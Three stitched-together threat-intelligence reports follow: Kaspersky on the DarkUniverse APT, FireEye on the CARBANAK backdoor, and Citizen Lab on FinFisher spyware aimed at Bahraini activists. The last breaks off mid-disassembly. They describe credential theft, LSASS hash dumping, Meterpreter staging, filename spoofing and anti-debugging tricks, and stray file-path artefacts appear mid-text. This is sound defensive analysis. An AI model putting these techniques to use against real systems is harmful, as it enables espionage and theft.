fake north Korean sunken ship report e mail messages on march 27, 2010, cisco http://tools.cisco.com/security/center/viewthreatoutbreakalert.x?alert Id20148 security advisory for adobe reader and acrobat, adobe, cve 2010 2883 http://www.adobe.com/support/security/advisories/apsa10-02. html?pId6157500 http://www.threatconnect.com/news/getting-leftof-boom-threatconnect-enables-proactive-cybersecurity/ http://www.threatconnect.com/news/getting-leftof-boom-threatconnect-enables-proactive-cybersecurity/ http://blogs.technet.com/b/mmpc/archive/2013/04/14/nevermind-nenim-s-hidden-agenda-we-still-caught-it.aspx http://blogs.technet.com/b/mmpc/archive/2013/04/14/nevermind-nenim-s-hidden-agenda-we-still-caught-it.aspx http://blog.fox-it.com/2011/11/21/rsa-512-certificates-abused-in-the-wild/ http://contagiodump.blogspot.ro/2010/12/dec-21-cve-2010-2572-christmas.html http://contagiodump.blogspot.ro/2010/12/dec21cve20102572christmas.html http://contagiodump.blogspot.ro/2010/12/dec-21-cve-2010-2572-christmas.html http://contagiodump.blogspot.ro/2010/12/dec-21-cve-2010-2572-christmas.html http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html http://contagiodump.blogspot.com/2010/04/apr-28-cve-2010-0188-pdf-north-korea.html http://contagiodump.blogspot.com/2010/04/apr-28-cve-2010-0188-pdf-north-korea.html http://tools.cisco.com/security/center/viewThreatOutbreakAlert.x?alertId20148 http://tools.cisco.com/security/center/viewThreatOutbreakAlert.x?alertId20148 http://www.adobe.com/support/security/advisories/apsa10-02.html?PID6157500 http://www.adobe.com/support/security/advisories/apsa10-02.html?PID6157500 Kaspersky Lab HQ 39a/3 Leningradskoe shosse moscow, 125212 russian federation more contact details tel: 7-495-797-8700 fax: 7-495-797-8709 e-mail: infokaspersky.com Website: www.kaspersky.com By GReAT , AMR on November 5, 2019. 10:00 am DarkUniverse the mysterious APT framework 27 securelist.com/darkuniverse-the-mysterious-apt-framework-27/94897 In April 2017, ShadowBrokers published their well-known Lost in Translation leak, which, among other things, contained an interesting script that checked for traces of other APTs in the compromised system. In 2018, we found an APT described as the 27 function of this script, which we call DarkUniverse. This APT was active for at least eight years, from 2009 until 2017. We assess with medium confidence that DarkUniverse is a part of the ItaDuke set of activities due to unique code overlaps. ItaDuke is an actor known since 2013. It used PDF exploits for dropping malware and Twitter accounts to store C2 server urls. Technical details Infection vector Spear phishing was used to spread the malware. A letter was prepared separately for each victim to grab their attention and prompt them to open an attached malicious Microsoft Office document. Each malware sample was compiled immediately before being sent and included the latest available version of the malware executable. Since the framework evolved from 2009 to 2017, the last releases are totally different from the first ones, so the current report details only the latest available version of the malware used until 2017. The executable file embedded in the documents extracts two malicious files from itself, updater.mod and glue30.dll, and saves them in the working directory of the malware USERPROFILE\AppData\Roaming\Microsoft\Windows\Reorder. After that, it copies the legitimate rundll32.exe executable into the same directory and uses it to run the updater.mod library. The updater.mod module th 1/7 https://securelist.com/darkuniverse-the-mysterious-apt-framework-27/94897/ https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/11/04102626/the-darkuniverse-mysterious-apt-1.png https://securelist.com/new-uyghur-and-tibetan-themed-attacks-using-pdf-exploits/35465/ https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/11/04102625/the-darkuniverse-mysterious-apt-3.png This module is implemented as a dynamic-link library with only one exported function, called callme16. This module is responsible for such tasks as providing communication with the C2 server, providing the malware integrity and persistence mechanism and managing other malware modules. The persistence mechanism is provided by a link file, which is placed by updater.mod into the startup folder, ensuring malware execution after a reboot. If the link file becomes corrupted, the updater.mod module restores it. Communication with C2 In this campaign the C2 servers were mostly based on cloud storage at mydrive.ch. For every victim, the operators created a new account there and uploaded additional malware modules and a configuration file with commands to execute it. Once executed, the updater.mod module connected to the C2 and performed the following actions: downloaded the command file to the working directory uploaded files collected and prepared by additional malicious modules (if any) to the C2. These files were located in a directory called queue or ntfsrecover in the working directory. Files in this directory could have one of two extensions: .d or .upd depending on whether they had already been uploaded to the server or not. downloaded additional malware modules: dfrgntfs5.sqt a module for executing commands from the C2 msvcrt58.sqt a module for stealing mail credentials and emails zl4vq.sqt legitimate zlib library used by dfrgntfs5 victim_ID.upe optional plug-in for dfrgntfs5. Unfortunately, we were unable to obtain this file. All malware modules are encrypted with a custom algorithm: The credentials for the C2 account are stored in the configuration that is placed in the registry, but the updater.mod module also stores a copy as an encrypted string in the executable file. Also, the configuration specifies how often updater.mod polls the C2, supporting both an active mode and a partly active mode. 2/7 Malware configuration in the registry The malware configuration is stored in the registry in the SOFTWARE\AppDataLow\GUI\LegacyP entry. Different values are detailed in the following table: Value name Description C1 C2 domain. C2 C2 domain path. C3 C2 credential username. C4 C2 credential password. install 1 if malware is installed. TL1 DESACTIVAR HABILITAR specifies whether msvcrt58 and glue libraries are active. TL2, TL3 If TL1 is not NULL, it specifies time bounds when TL1 option is applied. kl If 1, updater.mod should download msvcrt58.sqt from C2 again. re If 1, updater.mod should download dfrgntfs5.sqt from C2 again. de If not 0, framework should uninstall itself. cafe REDBULL SLOWCOW specifies how often updater.mod polls C2. path Path to the folder from which files are being sent to C2. Modules glue30.dll and msvcrt58.sqt The glue30.dll malware module provides keylogging functionality. The updater.mod module uses the Win API function SetWindowsHookExW to install hooks for the keyboard and to inject glue30.dll into processes that get keyboard input. After that, glue30.dll loads and begins intercepting input in the context of each hooked process. The msvcrt58.sqt module intercepts unencrypted POP3 traffic to collect email conversations and victims credentials. This module looks for traffic from the following processes: outlook.exe 3/7 winmail.exe msimn.exe nlnotes.exe eudora.exe thunderbird.exe thunde1.exe msmsgs.exe msnmsgr.exe. The malware parses intercepted POP3 traffic and sends the result to the main module (updater.mod) for uploading to the C2. This is done by hooking the following network- related Win API functions: ws2_32.connect ws2_32.send ws2_32.recv ws2_32.WSARecv ws2_32.closesocket. The dfrgntfs5.sqt module This is the most functional component of the DarkUniverse framework. It processes an impressive list of commands from the C2, which are listed in the following table. Command Description VER Sends malware version to server.
298
CLEARONSTART Undoes previous ONSTART command.
61,893
62,114
222
data/reports_final/0298.txt
CLEARONSTART Undoes previous ONSTART command. 5/7 ARP Runs unavailable ARP module (uncparse.dll unavailable). This module stores data in a file internally named arpSniff.pcap. AUTO Automatically looks for updates of predefined files. MANUAL Files in the specified directory are searched using the .upd pattern, all found files are deleted. REGDUMP Collects information from the registry. PWDDUMP Collects and decrypts credentials from Outlook Express, Outlook, Internet Explorer, Windows Mail and Windows Live Mail, Windows Live Messenger, and also Internet Cache LOGHASH Injects process into lsass.exe and starts collecting password hashes in the file checksums.bk. SENDLOGHASH Sends collected lsass.exe process password hashes to the C2. PROXYINFO Checks if credentials for proxy are valid. DHCP Sets DHCP settings for local machine. DNS Sets DNS settings for local machine. FAKESSL Provides basic MITM functionality. Victimology We recorded around 20 victims geolocated in Syria, Iran, Afghanistan, Tanzania, Ethiopia, Sudan, Russia, Belarus and the United Arab Emirates. The victims included both civilian and military organizations. We believe the number of victims during the main period of activity between 2009 and 2017 was much greater. Conclusions DarkUniverse is an interesting example of a full cyber-espionage framework used for at least eight years. The malware contains all the necessary modules for collecting all kinds of information about the user and the infected system and appears to be fully developed from scratch. Due to unique code overlaps, we assume with medium confidence that DarkUniverses creators were connected with the ItaDuke set of activities. The attackers were resourceful and kept updating their malware during the full lifecycle of their operations, so the observed samples from 2017 are totally different from the initial samples 6/7 from 2009. The suspension of its operations may be related to the publishing of the Lost in Translation leak, or the attackers may simply have decided to switch to more modern approaches and start using more widely available artefacts for their operations. Appendix I Indicators of Compromise MD5 Hashes 1addee050504ba999eb9f9b1ee5b9f04 4b71ec0b2d23204e560481f138833371 4e24b26d76a37e493bb35b1a8c8be0f6 405ef35506dc864301fada6f5f1d0711 764a4582a02cc54eb1d5460d723ae3a5 c2edda7e766553a04b87f2816a83f563 71d36436fe26fe570b876ad3441ea73c A full set of IOCs, including YARA rules, is available to customers of the Kaspersky Intelligence Reporting service. For more information, contact intelreportskaspersky.com 7/7 mailto:intelreportskaspersky.com DarkUniverse the mysterious APT framework 27 Technical details Infection vector The updater.mod module Communication with C2 Malware configuration in the registry Modules glue30.dll and msvcrt58.sqt The dfrgntfs5.sqt module Victimology Conclusions Appendix I Indicators of Compromise MD5 Hashes CARBANAK Week Part Three: Behind the CARBANAK Backdoor fireeye.com/blog/threat-research/2019/04/carbanak-week-part-three-behind-the-backdoor.html We covered a lot of ground in Part One and Part Two of our CARBANAK Week blog series. Now lets take a look back at some of our previous analysis and see how it holds up. In June 2017, we published a blog post sharing novel information about the CARBANAK backdoor, including technical details, intel analysis, and some interesting deductions about its operations we formed from the results of automating analysis of hundreds of CARBANAK samples. Some of these deductions were claims about the toolset and build practices for CARBANAK. Now that we have a snapshot of the source code and toolset, we also have a unique opportunity to revisit these deductions and shine a new light on them. Was There a Build Tool? Lets first take a look at our deduction about a build tool for CARBANAK: A build tool is likely being used by these attackers that allows the operator to configure details such as C2 addresses, C2 encryption keys, and a campaign code. This build tool encrypts the binarys strings with a fresh key for each build. We came to this deduction from the following evidence: Most of CARBANAKs strings are encrypted in order to make analysis more difficult. We have observed that the key and the cipher texts for all the encrypted strings are changed for each sample that we have encountered, even amongst samples with the same compile time. The RC2 1/15 https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-three-behind-the-backdoor.html https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-one-a-rare-occurrence.html https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-two-continuing-source-code-analysis.html https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html key used for the HTTP protocol has also been observed to change among samples with the same compile time. These observations paired with the use of campaign codes that must be configured denote the likely existence of a build tool. Figure 1 shows three keys used to decode the strings in CARBANAK, each pulled from a different CARBANAK sample. Figure 1: Decryption keys for strings in CARBANAK are unique for each build It turns out we were spot-on with this deduction. A build tool was discovered in the CARBANAK source dump, pictured with English translations in Figure 2. 2/15 Figure 2: CARBANAK build tool With this build tool, you specify a set of configuration options along with a template CARBANAK binary, and it bakes the configuration data into the binary to produce the final build for distribution. The Prefix text field allows the operator to specify a campaign code. The Admin host text fields are for specifying C2 addresses, and the Admin password text field is the secret used to derive the RC2 key for encrypting communication over CARBANAKs pseudo-HTTP protocol. This covers part of our deduction: we now know for a fact that a build tool exists and is used to configure the campaign code and RC2 key for the build, amongst other items. But what about the encoded strings? Since this would be something that happens seamlessly behind the scenes, it makes sense that no evidence of it would be found in the GUI of the build tool. To learn more, we had to go to the source code for both the backdoor and the build tool. Figure 3 shows a preprocessor identifier named ON_CODE_STRING defined in the CARBANAK backdoor source code that when enabled, defines macros that wrap all strings the programmer wishes to encode in the binary. These functions sandwich the strings to be encoded with the strings BS and ES. Figure 4 shows a small snippet of code from the header file of the build tool source code defining BEG_ENCODE_STRING as BS and END_ENCODE_STRING as ES. The build tool searches the template binary for these BS and ES markers, extracts the strings between them, encodes them with a randomly generated key, and replaces the strings in the binary with the encoded strings. We came 3/15 https://en.wikipedia.org/wiki/C_preprocessor across an executable named bot.dll that happened to be one of the template binaries to be used by the build tool. Running strings on this binary revealed that most meaningful strings that were specific to the workings of the CARBANAK backdoor were, in fact, sandwiched between BS and ES, as shown in Figure 5. Figure 3: ON_CODE_STRING parameter enables easy string wrapper macros to prepare strings for encoding by build tool 4/15 Figure 4: builder.h macros for encoded string markers Figure 5: Encoded string markers in template CARBANAK binary 5/15 Operators Access To Source Code Lets look at two more related deductions from our blog post: Based upon the information we have observed, we believe that at least some of the operators of CARBANAK either have access to the source code directly with knowledge on how to modify it or have a close relationship to the developer(s). Some of the operators may be compiling their own builds of the backdoor independently. The first deduction was based on the following evidence: Despite the likelihood of a build tool, we have found 57 unique compile times in our sample set, with some of the compile times being quite close in proximity. For example, on May 20, 2014, two builds were compiled approximately four hours apart and were configured to use the same C2 servers. Again, on July 30, 2015, two builds were compiled approximately 12 hours apart. To investigate further, we performed a diff of two CARBANAK samples with very close compile times to see what, if anything, was changed in the code. Figure 6 shows one such difference. Figure 6: Minor differences between two closely compiled CARBANAK samples 6/15 The POSLogMonitorThread function is only executed in Sample A, while the blizkoThread function is only executed in Sample B (Blizko is a Russian funds transfer service, similar to PayPal). The POSLogMonitorThread function monitors for changes made to log files for specific point of sale software and sends parsed data to the C2 server. The blizkoThread function determines whether the user of the computer is a Blizko customer by searching for specific values in the registry. With knowledge of these slight differences, we searched the source code and discovered once again that preprocessor parameters were put to use. Figure 7 shows how this function will change depending on which of three compile-time parameters are enabled. Figure 7: Preprocessor parameters determine which functionality will be included in a template binary This is not definitive proof that operators had access to the source code, but it certainly makes it much more plausible. The operators would not need to have any programming knowledge in order to fine tune their builds to meet their needs for specific targets, just simple guidance on how to add and remove preprocessor parameters in Visual Studio. Evidence for the second deduction was found by looking at the binary C2 protocol implementation and how it has evolved over time. From our previous blog post: This protocol has undergone several changes over the years, each version building upon the previous version in some way. These changes were likely introduced to render existing network signatures ineffective and to make signature creation more difficult. 7/15 Five versions of the binary C2 protocol were discovered amongst our sample set, as shown in Figure 8. This figure shows the first noted compile time that each protocol version was found amongst our sample set. Each new version improved the security and complexity of the protocol. Figure 8: Binary C2 protocol evolution shown through binary compilation times If the CARBANAK project was centrally located and only the template binaries were delivered to the operators, it would be expected that sample compile times should fall in line with the evolution of the binary protocol. Except for one sample that implements what we call version 3 of the protocol, this is how our timeline looks. A probable explanation for the date not lining up for version 3 is that our sample set was not wide enough to include the first sample of this version. This is not the only case we found of an outdated protocol being implemented in a sample Figure 9 shows another example of this. 8/15 Figure 9: CARBANAK sample using outdated version of binary protocol In this example, a CARBANAK sample found in the wild was using protocol version 4 when a newer version had already been available for at least two months. This would not be likely to occur if the source code were kept in a single, central location. The rapid-fire fine tuning of template binaries using preprocessor parameters, combined with several samples of CARBANAK in the wild implementing outdated versions of the protocol indicate that the CARBANAK project is distributed to operators and not kept centrally. Names of Previously Unidentified Commands The source code revealed the names of commands whose names were previously unidentified. In fact, it also revealed commands that were altogether absent from the samples we previously blogged about because the functionality was disabled. Table 1 shows the commands whose names were newly discovered in the CARBANAK source code, along with a summary of our analysis from the blog post. Hash Prior FireEye Analysis Name 0x749D968 (absent) msgbox 9/15 0x6FD593 (absent) ifobs 0xB22A5A7 Add/update klgconfig updklgcfg 0x4ACAFC3 Upload files to the C2 server findfiles 0xB0603B4 Download and execute shellcode tinymet Table 1: Command hashes previously not identified by name, along with description from prior FireEye analysis The msgbox command was commented out altogether in the CARBANAK source code, and is strictly for debugging, so it never appeared in public analyses. Likewise, the ifobs command did not appear in the samples we analyzed and publicly documented, but likely for a different reason. The source code in Figure 10 shows the table of commands that CARBANAK understands, and the ifobs command (0x6FD593) is surrounded by an ifdef, preventing the ifobs code from being compiled into the backdoor unless the ON_IFOBS preprocessor parameter is enabled. 10/15 Figure 10: Table of commands from CARBANAK tasking code One of the more interesting commands, however, is tinymet, because it illustrates how source code can be both helpful and misleading. The tinymet Command and Associated Payload 11/15 At the time of our initial CARBANAK analysis, we indicated that command 0xB0603B4 (whose name was unknown at the time) could execute shellcode. The source code reveals that the command (whose actual name is tinymet) was intended to execute a very specific piece of shellcode. Figure 12 shows an abbreviated listing of the code for handling the tinymet command, with line numbers in yellow and selected lines hidden (in gray) to show the code in a more compact format. Figure 11: Abbreviated tinymet code listing The comment starting on line 1672 indicates: 12/15 tinymet command Command format: tinymet ip:port plugin_name [plugin_name] Retrieve meterpreter from specified address and launch in memory On line 1710, the tinymet command handler uses the single-byte XOR key 0x50 to decode the shellcode. Of note, on line 1734 the command handler allocates five extra bytes and line 1739 hard-codes a five-byte mov instruction into that space. It populates the 32-bit immediate operand of the mov instruction with the socket handle number for the server connection that it retrieved the shellcode from. The implied destination operand for this mov instruction is the edi register. Our analysis of the tinymet command ended here, until the binary file named met.plug was discovered. The hex dump in Figure 12 shows the end of this file. Figure 12: Hex dump of met.plug 13/15 The end of the file is misaligned by five missing bytes, corresponding to the dynamically assembled mov edi preamble in the tasking source code. However, the single-byte XOR key 0x50 that was found in the source code did not succeed in decoding this file. After some confusion and further analysis, it was realized that the first 27 bytes of this file are a shellcode decoder that looked very similar to call4_dword_xor. Figure 13 shows the shellcode decoder and the beginning of the encoded metsrv.dll. The XOR key the shellcode uses is 0xEF47A2D0 which fits with how the five-byte mov edi instruction, decoder, and adjacent metsrv.dll will be laid out in memory. Figure 13: Shellcode decoder Decoding yielded a copy of metsrv.dll starting at offset 0x1b. When shellcode execution exits the decoder loop, it executes Metasploits executable DOS header. Ironically, possessing source code biased our binary analysis in the wrong direction, suggesting a single-byte XOR key when really there was a 27-byte decoder preamble using a four-byte XOR key. Furthermore, the name of the command being tinymet suggested that the TinyMet Meterpreter stager was involved. This may have been the case at one point, but the source code comments and binary files suggest that the developers and operators have moved on to simply downloading Meterpreter directly without changing the name of the command. Conclusion Having access to the source code and toolset for CARBANAK provided us with a unique opportunity to revisit our previous analysis. We were able to fill in some missing analysis and context, validate our deductions in some cases, and provide further evidence in other 14/15 https://github.com/zhiwenuil/msf3/blob/941b97a0bc2cc6197ce069c4918d81b4df6e63cc/modules/encoders/x86/call4_dword_xor.rb https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/windows/reflectivedllinject.rbL43 https://github.com/SherifEldeeb/TinyMet/ cases, strengthening our confidence in them but not completely proving them true. This exercise proves that even without access to the source code, with a large enough sample set and enough analysis, accurate deductions can be reached that go beyond the source code. It also illustrates, such as in the case of the tinymet command, that sometimes, without the proper context, you simply cannot see the full and clear purpose of a given piece of code. But some source code is also inconsistent with the accompanying binaries. If Bruce Lee had been a malware analyst, he might have said that source code is like a finger pointing away to the moon dont concentrate on the finger, or you will miss all that binary ground truth. Source code can provide immensely rich context, but analysts must be cautious not to misapply that context to binary or forensic artifacts. In the next and final blog post, we share details on an interesting tool that is part of the CARBANAK kit: a video player designed to play back desktop recordings captured by the backdoor. 15/15 https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-four-desktop-video-player.html CARBANAK Week Part Three: Behind the CARBANAK Backdoor Was There a Build Tool? Operators Access To Source Code Names of Previously Unidentified Commands The tinymet Command and Associated Payload Conclusion The Citizen Lab Research Brief July 2012 From Bahrain with Love: FinFishers Spy Kit Exposed? Author: Morgan Marquis-Boire INTRODUCTION The FinFisher Suite is described by its distributors, Gamma International UK Ltd., as Governmental IT Intrusion and Remote Monitoring Solutions. 1 The toolset first gained notoriety after it was revealed that the Egyptian Governments state security apparatus had been involved in negotiations with Gamma International UK Ltd. over the purchase of the software. Promotional materials have been leaked that describe the tools as providing a wide range of intrusion and monitoring capabilities. 2 Despite this, however, the toolset itself has not been publicly analyzed. This post contains analysis of several pieces of malware obtained by Vernon Silver of Bloomberg News that were sent to Bahraini pro-democracy activists in April and May of this year. The purpose of this work is identification and classification of the malware to better understand the actors behind the attacks and the risk to victims. In order to accomplish this, we undertook several different approaches during the investigation. As well as directly examining the samples through static and dynamic analysis, we infected a virtual machine (VM) with the malware. We monitored the filesystem, network, and running operating system of the infected VM. This analysis suggests the use of Finspy, part of the commercial intrusion kit, Finfisher, distributed by Gamma International. https://citizenlab.org/wp-admin/post.php?post14092actionedit1 https://www.f-secure.com/weblog/archives/00002114.html http://wikileaks.org/spyfiles/list/tags/gamma-finfisher-trojan.html https://citizenlab.org/wp-admin/post.php?post14092actionedit2 July 2012 2 DELIVERY This section describes how the malware was delivered to potential victims using e-mails with malicious attachments. In early May, we were alerted that Bahraini activists were targeted with apparently malicious e-mails. The emails ostensibly pertained to the ongoing turmoil in Bahrain, and encouraged recipients to open a series of suspicious attachments. The screenshot below is indicative of typical message content: The attachments to the e-mails we have been able to analyze were typically .rar files, which we found to contain malware. Note that the apparent sender has an e-mail address that indicates that it was being sent by Melissa Chan, who is a real correspondent for Aljazeera English. We suspect that the e-mail address is not her real address. 3 The following samples were examined: These contained executables masquerading as picture files or documents: 324783fbc33ec117f971cca77ef7ceaf7ce229a74edd6e2b3bd0effd9ed10dcc .rar c5b39d98c85b21f8ac1bedd91f0b6510ea255411cf19c726545c1d0a23035914 _gpj. ArrestedXSuspects.rar c5b37bb3620d4e7635c261e5810d628fc50e4ab06b843d78105a12cfbbea40d7 KingXhamadXonXofficialXvisitXtoX.rar 80fb86e265d44fbabac942f7b26c973944d2ace8a8268c094c3527b83169b3cc MeetingXAgenda.rar f846301e7f190ee3bb2d3821971cc2456617edc2060b07729415c45633a5a751 Rajab.rar 49000fc53412bfda157417e2335410cf69ac26b66b0818a3be7eff589669d040 dialoge.exe cc3b65a0f559fa5e6bf4e60eef3bffe8d568a93dbb850f78bdd3560f38218b5c gpj.1bajaR.exe 39b325bd19e0fe6e3e0fca355c2afddfe19cdd14ebda7a5fc96491fc66e0faba gpj.1egami.exe e48bfeab2aca1741e6da62f8b8fc9e39078db574881691a464effe797222e632 gpj.bajaR.exe 2ec6814e4bad0cb03db6e241aabdc5e59661fb580bd870bdb50a39f1748b1d14 gpj.stcepsuS detserrA.exe c29052dc6ee8257ec6c74618b6175abd6eb4400412c99ff34763ff6e20bab864 News about the existence of a new dialogue between AlWefaq Govt..doc https://citizenlab.org/wp-admin/post.php?post14092actionedit3 July 2012 3 The emails generally suggested that the attachments contained political content of interest to pro-democracy activists and dissidents. In order to disguise the nature of the attachments a malicious usage of the righttoleftoverride (RLO) character was employed. The RLO character (U202e in unicode) controls the positioning of characters in text containing characters flowing from right to left, such as Arabic or Hebrew. The malware appears on a victims desktop as exe. Rajab1.jpg (for example), along with the default Windows icon for a picture file without thumbnail. But, when the UTF-8 based filename is displayed in ANSI, the name is displayed as gpj.1bajaR.exe. Believing that they are opening a harmless .jpg, victims are instead tricked into running an executable .exe file. 4 Upon execution these files install a multi-featured trojan on the victims computer. This malware provides the attacker with clandestine remote access to the victims machine as well as comprehensive data harvesting and exfiltration capabilities. INSTALLATION This section describes how the malware infects the target machine. The malware displays a picture as expected. This differs from sample to sample. The sample Arrested Suspects.jpg (gpj.stcepsuS detserrA.exe) displays: https://krebsonsecurity.com/2011/09/right-to-left-override-aids-email-attacks/ https://citizenlab.org/wp-admin/post.php?post14092actionedit4 https://citizenlab.org/wp-content/uploads/2012/07/image5.png July 2012 4 It additionally creates a directory (which appears to vary from sample to sample): It copies itself there (in this case the malware appears as Arrested Suspects.jpg) where it is renamed: Then it drops the following files: It creates the folder (the name of which varies from host to host): This process is observable on the filesystem timeline of the infected host (click image to enlarge): driverw.sys is loaded and then delete.bat is run which deletes the original payload and itself. It then infects existing operating system processes, connects to the command and control server, and begins data harvesting and exfiltration. C:\Documents and Settings\XPMUser\Local Settings\Temp\TMP51B7AFEF C:\Documents and Settings\XPMUser\Local Settings\Temp\TMP51B7AFEF\Arrested Suspects.jpg C:\Documents and Settings\XPMUser\Local Settings\Temp\TMP51B7AFEF\tmpD.tmp C:\DOCUME1\USER\LOCALS1\Temp\delete.bat C:\DOCUME1\USER\LOCALS1\Temp\driverw.sys C:\Documents and Settings\USER\Application Data\Microsoft\Installer\5DA45CC9-D840-47CC- 9F86-FD2E9A718A41 https://citizenlab.org/wp-content/uploads/2012/07/image10-lg.png July 2012 5 Examining the memory image of a machine infected with the malware shows that a technique for infecting processes known as process hollowing is used. For example, the memory segment below from the winlogon.exe process is marked as executable and writeable: Here the malware starts a new instance of a legitimate process such as winlogon.exe and before the processs first thread begins, the malware de-allocates the memory containing the legitimate code and injects malicious code in its place. Dumping and examining this memory segment reveals the following strings in the infected process: Note the string: y:\lsvn_branches\finspyv4.01\finspyv2\src\libs\libgmp\mpn-tdiv_qr.c https://citizenlab.org/wp-content/uploads/2012/07/image11.png https://citizenlab.org/wp-content/uploads/2012/07/image12.png July 2012 6 This file seems to correspond to a file in the GNU Multi-Precision arithmetic library: http://gmplib.org:8000/gmp/file/b5ca16212198/mpn/generic/tdiv_qr.c The process svchost.exe was also found to be infected in a similar manner: http://gmplib.org:8000/gmp/file/b5ca16212198/mpn/generic/tdiv_qr.c https://citizenlab.org/wp-content/uploads/2012/07/image14-500.png July 2012 7 Further examination of the memory dump also reveals the following: This path appears to reference the functionality that the malware uses to modify the boot sequence to enable persistence: A pre-infection vs post-infection comparison of the infected VM shows that the Master Boot Record (MBR) was modified by code injected by the malware. The strings found in memory finspyv4.01 and finspyv2 are particularly interesting. The FinSpy tool is part of the FinFisher intrusion and monitoring toolkit. 5 OBFUSCATION AND EVASION This section describes how the malware is designed to resist analysis and evade identification. The malware employs a myriad of techniques designed to evade detection and frustrate analysis. While investigation into this area is far from complete, we discuss several discovered methods as examples of the lengths taken by the developers to avoid identification. A virtualised packer is used. This type of obfuscation is used by those that have strong motives to prevent their malware from being analyzed. 6 This converts the native x86 instructions of the malware into another custom language chosen from one of 11 code templates. At run-time, this is interpreted by an obfuscated interpreter customized for that particular language. This virtualised packer was not recognised and appears to be bespoke. y:\lsvn_branches\finspyv4.01\finspyv2\src\target\bootkit_x32driver\objfre_w2k_x86\i386\bootkit_x32driv er.pdb https://citizenlab.org/wp-admin/post.php?post14092actionedit5 https://citizenlab.org/wp-admin/post.php?post14092actionedit6 https://citizenlab.org/wp-content/uploads/2012/07/image15.png July 2012 8 Several anti-debugging techniques are used. This section of code crashes the popular debugger, OllyDbg. This float value causes OllyDbg to crash when trying to display its value. A more detailed explanation of this can be found here. To defeat DbgBreakPoint based debuggers, the malware finds the address of DbgBreakPoint, makes the page EXECUTE_READWRITE and writes a NOP on the entry point of DbgBreakPoint. The malware checks via PEB to detect whether or not it is being debugged, and if it is it returns a random address. The malware calls ZwSetInformationThread with ThreadInformationClass set to 0x11, which causes the thread to be detached from the debugger. The malware calls ZwQueryInformationProcess with ThreadInformationClass set to 0x(ProcessDebugPort) and 0x1e (ProcessDebugObjectHandle) to detect the presence of a debugger. If a debugger is detected it jumps to a random address. ZwQueryInformationProcess is also called to check the DEP status on the current process, and it disables it if its found to be enabled. The malware deploys a granular solution for Antivirus software, tailored to the AV present on the infected machine. The malware calls ZwQuerySystemInformation to get ProcessInformation and ModuleInformation. The malware then walks the list of processes and modules looking for installed AV software. Our analysis indicates that the malware appears to have different code to Open/Create process and inject for each AV solution. For some Anti-Virus software this even appears to be version dependent. The function ZwQuerySystemInformation is also hooked by the malware, a technique frequently used to allow process hiding: .text:00401683 finit .text:00401686 fld ds:tbyte_40168E .text:0040168C jmp short locret_401698 --------------------------------------------------------------------- .text:0040168E tbyte_40168E dt 9.2233720368547758075e18 --------------------------------------------------------------------- .text:00401698 locret_401698: .text:00401698 retn http://qunpack.ahteam.org/?p386 July 2012 9 DATA HARVESTING AND ENCRYPTION This section describes how the malware collects and encrypts data from the infected machine. https://citizenlab.org/wp-content/uploads/2012/07/image18-500.png July 2012 10 Our analysis showed that the malware collects a wide range of data from an infected victim. The data is stored locally in a hidden directory, and is disguised with encryption prior to exfiltration. On the reference victim host, the directory was: We conducted forensic examination of the files created in this directory and identified a wide range of data collected. Files in this directory were found to be screenshots, keylogger data, audio from Skype calls, passwords and more. For the sake of brevity we include a limited set of examples here. The malware attempts to locate the configuration and password store files for a variety browsers and chat clients as seen below: C:\Windows\Installer\49FD463C-18F1-63C4-8F12-49F518F127. https://citizenlab.org/wp-content/uploads/2012/07/image19-lg.png July 2012 11 We observed the creation of the file t111o00000000.dat in the data harvesting directory, as shown in the filesystem timeline below: Thu Jun 14 2012 12:31:34 52719 mac. r/rr-xr-xr-x 0 0 26395-128-5 C:/WINDOWS/Installer/49FD463C- 18F1-63C4-8F12-49F518F127/09e493e2-05f9-4899-b661-c52f3554c644 Thu Jun 14 2012 12:32:18 285691 ...b r/rrwxrwxrwx 0 0 26397-128-4 C:/WINDOWS/Installer/49FD463C- 18F1-63C4-8F12-49F518F127/t111o00000000.dat Thu Jun 14 2012 12:55:12 285691 mac. r/rrwxrwxrwx 0 0 26397-128-4 C:/WINDOWS/Installer/49FD463C-18F1-63C4-8F12-49F518F127/t111o00000000.dat 4096 ..c. -/rr-xr-xr-x 0 0 26447-128-4 The infected process winlogon.exe was observed writing this file via Process: https://citizenlab.org/wp-content/uploads/2012/07/image21-lg.png July 2012 12 Examination of this file reveals that it is a screenshot of the desktop: Many other modules providing specific exfiltration capabilities were observed. Generally, the exfiltration modules write files to disk using the following naming convention: XXY1TTTTTTTT.dat. XX is a two-digit hexadecimal module number, Y is a single-digit hexadecimal submodule number, and TTTTTTTT is a hexadecimal representation of a unix timestamp (less 1.3 billion) associated with the file creation time. ENCRYPTION The malware uses encryption in an attempt to disguise harvested data in the .dat files intended for exfiltration. Data written to the files is encrypted using AES-256-CBC (with no padding). The 32-byte key consists of 8 readings from memory address 0x7ffe0014: a special address in Windows that contains the low-order-4-bytes of the number of hundred-nanoseconds since 1 January 1601. The IV consists of 4 additional readings. The AES key structure is highly predictable, as the quantum for updating the system clock (HKLM\SYSTEM\CurrentControlSet\Services\W32Time\Config\LastClockRate) is set to https://citizenlab.org/wp-content/uploads/2012/07/image22-ori.png July 2012 13 0x2625A hundred-nanoseconds by default, and the clock readings that comprise the key and IV are taken in a tight loop: The following AES keys were among those found to be used to encrypt records in .dat files. The first contains the same 4 bytes repeated, whereas in the second key, the difference between all consecutive 4-byte blocks (with byte order swapped) is 0x2625A. In all, 64 clock readings are taken. The readings are encrypted using an RSA public key found in memory (whose modulus begins with A25A944E) and written to the .dat file before any other encrypted data. No padding is used in the encryption, yielding exactly 256 encrypted bytes. After the encrypted timestamp values, the file contains a number of records encrypted with AES, delimited by EAE9E8FF. ... 0x406EA4: 8D45C0 LEA EAX,[EBP-0x40] 0x406EA7: 50 PUSH EAX 0x406EA8: FF150C10AF01 CALL DWORD PTR [0x1AF100C] 0x406EAE: 8B4DE8 MOV ECX,DWORD PTR [EBP-0x18] 0x406EB1: 8B45C0 MOV EAX,DWORD PTR 